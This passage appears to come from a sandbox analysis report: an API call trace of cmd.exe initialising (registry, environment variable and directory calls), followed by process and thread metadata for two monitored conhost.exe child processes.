	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x9, lpcbData=0x7c073ec24*=0x4) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x4, lpData=0x7c073ec40*=0x9, lpcbData=0x7c073ec24*=0x4) returned 0x0
	[0184.422] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7c073ec20, lpData=0x7c073ec40, lpcbData=0x7c073ec24*=0x1000 | out: lpType=0x7c073ec20*=0x0, lpData=0x7c073ec40*=0x9, lpcbData=0x7c073ec24*=0x1000) returned 0x2
	[0184.422] RegCloseKey (hKey=0x7c) returned 0x0
	[0184.422] time (in: timer=0x0 | out: timer=0x0) returned 0x5cd74190
	[0184.422] srand (_Seed=0x5cd74190) 
	[0184.423] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0184.423] malloc (_Size=0x4000) returned 0x16584625530
	[0184.423] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0184.423] malloc (_Size=0xffce) returned 0x16584480080
	[0184.423] ??_V@YAXPEAX@Z () returned 0x16584480080
	[0184.424] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16584480080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0184.424] malloc (_Size=0xffce) returned 0x16584490060
	[0184.436] ??_V@YAXPEAX@Z () returned 0x16584490060
	[0184.436] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16584490060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0184.437] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0184.437] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0184.437] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0184.437] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0184.438] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0184.438] GetProcessHeap () returned 0x16584380000
	[0184.438] RtlFreeHeap (HeapHandle=0x16584380000, Flags=0x0, BaseAddress=0x16584386500) returned 1
	[0184.438] GetEnvironmentStringsW () returned 0x16584385a60*
	[0184.438] GetProcessHeap () returned 0x16584380000
	[0184.438] RtlAllocateHeap (HeapHandle=0x16584380000, Flags=0x8, Size=0xace) returned 0x16584386540
	[0184.438] FreeEnvironmentStringsA (penv="=") returned 1
	[0184.438] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0184.438] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0184.438] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0184.438] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0184.438] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0184.438] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0184.438] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0184.438] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0184.438] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0184.438] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0184.438] malloc (_Size=0xffce) returned 0x165844a0040
	[0184.439] ??_V@YAXPEAX@Z () returned 0x165844a0040
	[0184.439] GetProcessHeap () returned 0x16584380000
	[0184.439] RtlAllocateHeap (HeapHandle=0x16584380000, Flags=0x8, Size=0x38) returned 0x16584388580
	[0184.439] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x165844a0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0184.439] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x165844a0040, lpFilePart=0x7c073f7a0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x7c073f7a0*="system32") returned 0x13
	[0184.440] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0184.440] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x7c073f4d0 | out: lpFindFileData=0x7c073f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x165843885c0
	[0184.440] FindClose (in: hFindFile=0x165843885c0 | out: hFindFile=0x165843885c0) returned 1
	[0184.440] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x7c073f4d0 | out: lpFindFileData=0x7c073f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x9516fab0, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9516fab0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x165843885c0
	[0184.441] FindClose (in: hFindFile=0x165843885c0 | out: hFindFile=0x165843885c0) returned 1
	[0184.441] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0184.441] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0184.441] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0184.441] GetProcessHeap () returned 0x16584380000
	[0184.441] RtlFreeHeap (HeapHandle=0x16584380000, Flags=0x0, BaseAddress=0x16584386540) returned 1
	[0184.441] GetEnvironmentStringsW () returned 0x16584385a60*
	[0184.441] GetProcessHeap () returned 0x16584380000
	[0184.441] RtlAllocateHeap (HeapHandle=0x16584380000, Flags=0x8, Size=0xafe) returned 0x16584386570
	[0184.441] FreeEnvironmentStringsA (penv="=") returned 1
	[0184.441] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x16584480080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0184.441] GetProcessHeap () returned 0x16584380000
	[0184.441] RtlFreeHeap (HeapHandle=0x16584380000, Flags=0x0, BaseAddress=0x16584388580) returned 1
	[0184.441] ??_V@YAXPEAX@Z () returned 0x1
	[0184.441] ??_V@YAXPEAX@Z () returned 0x1
	[0184.441] GetProcessHeap () returned 0x16584380000
	[0184.441] RtlAllocateHeap (HeapHandle=0x16584380000, Flags=0x8, Size=0x4016) returned 0x16584388580
	[0184.445] GetProcessHeap () returned 0x16584380000
	[0184.445] RtlFreeHeap (HeapHandle=0x16584380000, Flags=0x0, BaseAddress=0x16584388580) returned 1
	[0184.445] GetConsoleOutputCP () 

Thread:
	id = 115
	os_tid = 0x978


Process:
	id = "16"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x3530d000"
	os_pid = "0xfdc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "14"
	os_parent_pid = "0xfc0"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 92
	os_tid = 0xfe0


Thread:
	id = 96
	os_tid = 0xff4


Thread:
	id = 108
	os_tid = 0xa68


Thread:
	id = 110
	os_tid = 0xa60


Thread:
	id = 111
	os_tid = 0xa64


Process:
	id = "17"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x340b5000"
	os_pid = "0xfec"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "15"
	os_parent_pid = "0xfd4"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 95
	os_tid = 0xff0


Thread:
	id = 107
	os_tid = 0x924


Thread:
	id = 109
	os_tid = 0x8cc


Thread:
	id = 112
	os_tid = 0xc38


Thread:
	id = 113
	os_tid = 0x8e4